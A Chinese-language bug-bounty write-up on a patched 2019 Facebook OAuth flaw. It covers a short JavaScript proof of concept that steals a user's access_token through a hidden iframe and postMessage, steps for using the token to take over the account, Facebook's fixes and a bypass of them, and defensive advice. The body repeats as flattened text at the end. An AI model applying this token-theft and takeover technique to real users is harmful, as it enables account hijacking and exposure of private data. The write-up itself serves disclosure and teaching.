BugBounty-Facebook OAuth 框架漏洞
字数 1619 2025-08-25 22:58:34

Facebook OAuth 框架漏洞分析与利用教学文档

漏洞概述

本漏洞涉及Facebook OAuth 2.0实现中的一个安全缺陷,允许攻击者通过构造恶意请求窃取用户access_token,进而实现账户接管。该漏洞影响使用"Login with Facebook"功能的所有第三方服务,包括Instagram、Oculus、Netflix、Tinder、Spotify等。

技术背景

OAuth 2.0流程

Facebook的"Login with Facebook"功能遵循OAuth 2.0协议,在facebook.com和第三方网站之间交换token。正常情况下,流程如下:

  1. 用户点击"Login with Facebook"
  2. 重定向到Facebook授权页面
  3. 用户授权后,Facebook返回access_token给第三方网站

关键组件

  1. /connect/ping API:发送user_access token
  2. xd_arbiter.php:跨域通信的proxy iframe
  3. page_proxy资源:处理跨域消息传递

漏洞细节

核心问题

  1. xd_arbiter.php路径可篡改:可通过修改路径(如添加目录/参数)绕过安全限制
  2. page_proxy资源不安全:包含可被利用的postMessage代码
  3. 缺少X-Frame-Options头:允许iframe嵌入
  4. 跨域消息传递不安全:使用通配符("*")作为postMessage目标

漏洞利用代码

var app_id = '124024574287414', app_domain = 'www.instagram.com';
var exploit_url = 'https://www.facebook.com/connect/ping?client_id=' + app_id + '&redirect_uri=https%3A%2F%2Fstaticxx.facebook.com%2Fconnect%2Fxd_arbiter%2Fr%2F7SWBAvHenEn.js%3Fversion%3D44%23origin%3Dhttps%253A%252F%252F' + app_domain;

var i = document.createElement('iframe');
i.setAttribute('id', 'i');
i.setAttribute('style', 'display:none;');
i.setAttribute('src', exploit_url);
document.body.appendChild(i);

window.addEventListener('OAuth', function(FB) {
    alert(FB.data.name);
}, !1);

漏洞利用步骤

  1. 构造恶意URL

    • 修改xd_arbiter.php路径为xd_arbiter/r/7SWBAvHenEn.js
    • 包含目标应用的client_id和domain
  2. 创建隐藏iframe

    • 将恶意URL作为iframe的src
    • 隐藏iframe避免用户察觉
  3. 监听消息事件

    • 通过window.addEventListener捕获postMessage
    • 获取包含token的消息
  4. 利用窃取的token

    • 访问GraphQL API获取用户信息
    • 添加新电话号码进行账户恢复
    • 访问敏感数据(消息、照片、视频等)

漏洞影响

  1. 账户接管:完全控制用户Facebook账户
  2. 第三方服务影响:影响所有使用"Login with Facebook"的服务
  3. 隐私数据泄露:可访问用户设置为"仅自己"的隐私数据

Facebook修复措施

  1. 弃用/connect/ping API
  2. xd_arbiter.php添加__d中断JS执行
  3. 阻止对xd_arbiter的任何修改/篡改
  4. 阻止xd_arbiter的所有重定向HTTP状态
  5. 删除7SWBAvHenEn.js
  6. 添加正则表达式验证过滤器

绕过尝试与最终修复

  1. 初始绕过

    • 发现__d代码被移到底部
    • postMessage()再次可执行
    • 尝试通过mbasic.facebook.com绕过
  2. 最终修复

    • 仅接受绝对文件路径"xd_arbiter.php"
    • 阻止所有重定向到xd_arbiter
    • 完全删除漏洞资源

防御建议

  1. OAuth实现者

    • 严格验证redirect_uri
    • 避免使用通配符("*")作为postMessage目标
    • 设置X-Frame-Options头
  2. 开发者

    • 定期检查第三方SDK安全更新
    • 实现CSRF保护
    • 使用state参数
  3. 用户

    • 警惕不明来源的登录请求
    • 定期检查账户安全设置
    • 启用双因素认证

时间线

  • 2019年12月16日:初次报告
  • 几小时内:Facebook初步修复
  • 2-3天后:发现修复绕过
  • 最终:完全修复漏洞

总结

该漏洞展示了OAuth 2.0实现中微小的配置错误可能导致严重后果。通过精心构造的请求,攻击者可绕过Facebook的多层防御机制窃取用户token。此案例强调了安全开发实践的重要性,特别是涉及身份验证和授权流程时。

Facebook OAuth 框架漏洞分析与利用教学文档 漏洞概述 本漏洞涉及Facebook OAuth 2.0实现中的一个安全缺陷,允许攻击者通过构造恶意请求窃取用户access_ token,进而实现账户接管。该漏洞影响使用"Login with Facebook"功能的所有第三方服务,包括Instagram、Oculus、Netflix、Tinder、Spotify等。 技术背景 OAuth 2.0流程 Facebook的"Login with Facebook"功能遵循OAuth 2.0协议,在facebook.com和第三方网站之间交换token。正常情况下,流程如下: 用户点击"Login with Facebook" 重定向到Facebook授权页面 用户授权后,Facebook返回access_ token给第三方网站 关键组件 /connect/ping API:发送user_ access token xd_ arbiter.php :跨域通信的proxy iframe page_ proxy 资源:处理跨域消息传递 漏洞细节 核心问题 xd_ arbiter.php路径可篡改 :可通过修改路径(如添加目录/参数)绕过安全限制 page_ proxy资源不安全 :包含可被利用的postMessage代码 缺少X-Frame-Options头 :允许iframe嵌入 跨域消息传递不安全 :使用通配符("* ")作为postMessage目标 漏洞利用代码 漏洞利用步骤 构造恶意URL : 修改xd_ arbiter.php路径为xd_ arbiter/r/7SWBAvHenEn.js 包含目标应用的client_ id和domain 创建隐藏iframe : 将恶意URL作为iframe的src 隐藏iframe避免用户察觉 监听消息事件 : 通过window.addEventListener捕获postMessage 获取包含token的消息 利用窃取的token : 访问GraphQL API获取用户信息 添加新电话号码进行账户恢复 访问敏感数据(消息、照片、视频等) 漏洞影响 账户接管 :完全控制用户Facebook账户 第三方服务影响 :影响所有使用"Login with Facebook"的服务 隐私数据泄露 :可访问用户设置为"仅自己"的隐私数据 Facebook修复措施 弃用/connect/ping API xd_ arbiter.php添加__ d中断JS执行 阻止对xd_ arbiter的任何修改/篡改 阻止xd_ arbiter的所有重定向HTTP状态 删除7SWBAvHenEn.js 添加正则表达式验证过滤器 绕过尝试与最终修复 初始绕过 : 发现__ d代码被移到底部 postMessage()再次可执行 尝试通过mbasic.facebook.com绕过 最终修复 : 仅接受绝对文件路径"xd_ arbiter.php" 阻止所有重定向到xd_ arbiter 完全删除漏洞资源 防御建议 OAuth实现者 : 严格验证redirect_ uri 避免使用通配符("* ")作为postMessage目标 设置X-Frame-Options头 开发者 : 定期检查第三方SDK安全更新 实现CSRF保护 使用state参数 用户 : 警惕不明来源的登录请求 定期检查账户安全设置 启用双因素认证 时间线 2019年12月16日:初次报告 几小时内:Facebook初步修复 2-3天后:发现修复绕过 最终:完全修复漏洞 总结 该漏洞展示了OAuth 2.0实现中微小的配置错误可能导致严重后果。通过精心构造的请求,攻击者可绕过Facebook的多层防御机制窃取用户token。此案例强调了安全开发实践的重要性,特别是涉及身份验证和授权流程时。